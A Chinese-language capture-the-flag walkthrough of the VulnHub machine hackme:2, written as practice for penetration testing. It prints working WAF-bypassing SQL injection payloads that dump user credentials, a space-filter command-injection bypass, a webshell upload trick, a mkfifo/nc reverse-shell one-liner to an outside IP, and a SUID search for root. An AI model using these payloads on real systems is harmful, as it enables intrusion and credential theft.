0x01 背景:
hackme:2是vulnhub上的一个medium难度的CTF靶机,难度适中、内容丰富,贴近实战。而且没有太多的脑洞,适合安全工作者们用来练习渗透测试,然而唯一的缺憾是目前没有公开的攻略,因此把个人的通关过程记录于此,作为攻略分享给大家!
0x02 技术关键词:
SQL注入、WAF Bypass、模糊测试、文件上传、suid提权
0x03 靶机发现与端口扫描
做vulnhub上的靶机的第一步,所有的靶机都是一样的套路,不在这里多费笔墨。
0x04 SQL注入与WAF Bypass
打开位于80端口的Web页面,注册一个测试账号wangtua/wangtua,就可以登录系统了,可以发现是一个书店系统。
进入系统之后发现有一个搜索框,SQL注入的套路很明显了。要做SQL注入、第一步就是猜测SQL语句的格式和注入点。
1、探测SQL格式,WAF规则
本搜索框的功能是检索数据库中的书名、当搜索框为空的时候,可以返回所有的内容,
当搜索框中只包含书名的前一部分的时候,也可以返回对应的内容:
因此我们猜测SQL语句格式为(%代表通配符,可以匹配零个或者多个任意字符):$sql = "SELECT * FROM BOOKS WHERE book_name LIKE '".$input."%';"
基于此,我们构造如下payload:Linux%' and '123' like '1
使用另一个payload:Linux%' and '23' like '1
发现无法返回结果
可以验证我们的想法。
然而我们使用数据库函数的时候却出现了问题:
Payload:Linux%'/**/and database() like/**/'
没有返回内容,而当我们使用注释符来代替空格的时候,则可以执行成功。
2、构造Payload
通过构造联合查询,一步一步获取出数据库名,表名,列名和字段Linux%'/**/union/**/select/**/database/**/(),'2','3
Linux%'/**/union/**/select/**/group_concat(table_name),"2","3"/**/from/**/information_schema.tables/**/where/**/table_schema/**/like/**/'webapp
Linux%'/**/union/**/select/**/group_concat(column_name),"2","3"/**/from/**/information_schema.columns/**/where/**/table_name/**/like/**/'users'and/**/table_schema/**/like'webapp
Linux%'/**/union/**/select/**/group_concat(user),'2',group_concat(pasword)/**/from/**/users/**/where/**/'1'/**/like/**/'
到此为止我们发现了一个superadmin的账号,将md5值在线解码之后发现是Uncrackable
0x05 模糊测试与命令执行
进入超级管理员账号之后,我们发现了一个可以进行文件上传的点,
上传cat.jpg之后,页面上回显了上传路径。
然而我们却无法直接访问任何文件。
接下来我们注意到下面两个输入框,可以将处理结果回显到页面上,这里我除了想到XSS之外。还想到了测试命令注入或者模板注入。可以发现在Last Name输入框里输入7*7
,可以返回49
我们可以使用BurpSuite专业版的Intruder模块来进行模糊测试。
Payload选择模糊测试-完整,
点击开始攻击。
攻击完成之后可以发现 `id`
这个payload有命令执行的回显。
我们换其他命令来执行,例如pwd,ls都可以正确执行而cat命令无法执行,猜测其过滤了空格,我们使用cat<welcomeadmin.php
这个payload来绕过过滤。
可以看到在返回包里泄露的welcomeadmin.php的完整源代码,包括文件上传的绝对路径。
以及命令执行的成因:
使用哥斯拉生成木马并上传,发现php后缀被过滤,换成php3等也不行。
后缀改成png之后才上传成功,然而无法正常解析成PHP文件。
这里考虑使用刚才的命令执行漏洞,将文件名改成god.php
使用哥斯拉进行连接,发现连接成功
0x06 后渗透与提权
为了可以有更好的交互环境,我们用kali自带的weevely生成木马并连接,完成连接之后使用nc反弹shell:
由于靶机的nc版本特殊,无法使用nc -e选项,因此这里使用了如下的payloadrm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 192.168.48.129 2333 >/tmp/f
(来自参考资料2)
使用pyhton伪终端命令,可以在伪终端执行sudo等命令
使用命令find / -perm -u=s -type f 2>/dev/null
来发现设置了suid位的应用程序(参考资料1)
关于suid提权的原理,可以参考P师傅的博客(参考资料3)。
发现home目录下有一个可疑的文件,执行一下之后发现顺利get root权限。
0x07 总结与复盘:
这台靶机感觉制作的比较用心,SQL注入和文件上传等部分都比较贴近实战,唯一美中不足的是提权部分有些太过简单。目前本人正在备考OSCP,在vulnhub和HTB上做了不少靶机,打算最近把vulnhub上后渗透的套路总结一下,再发一篇文章,希望大家支持一下。
0x08 参考资料:
1) https://payatu.com/guide-linux-privilege-escalation
2) https://github.com/swisskyrepo/PayloadsAllTheThings
3) https://www.leavesongs.com/PENETRATION/linux-suid-privilege-escalation.html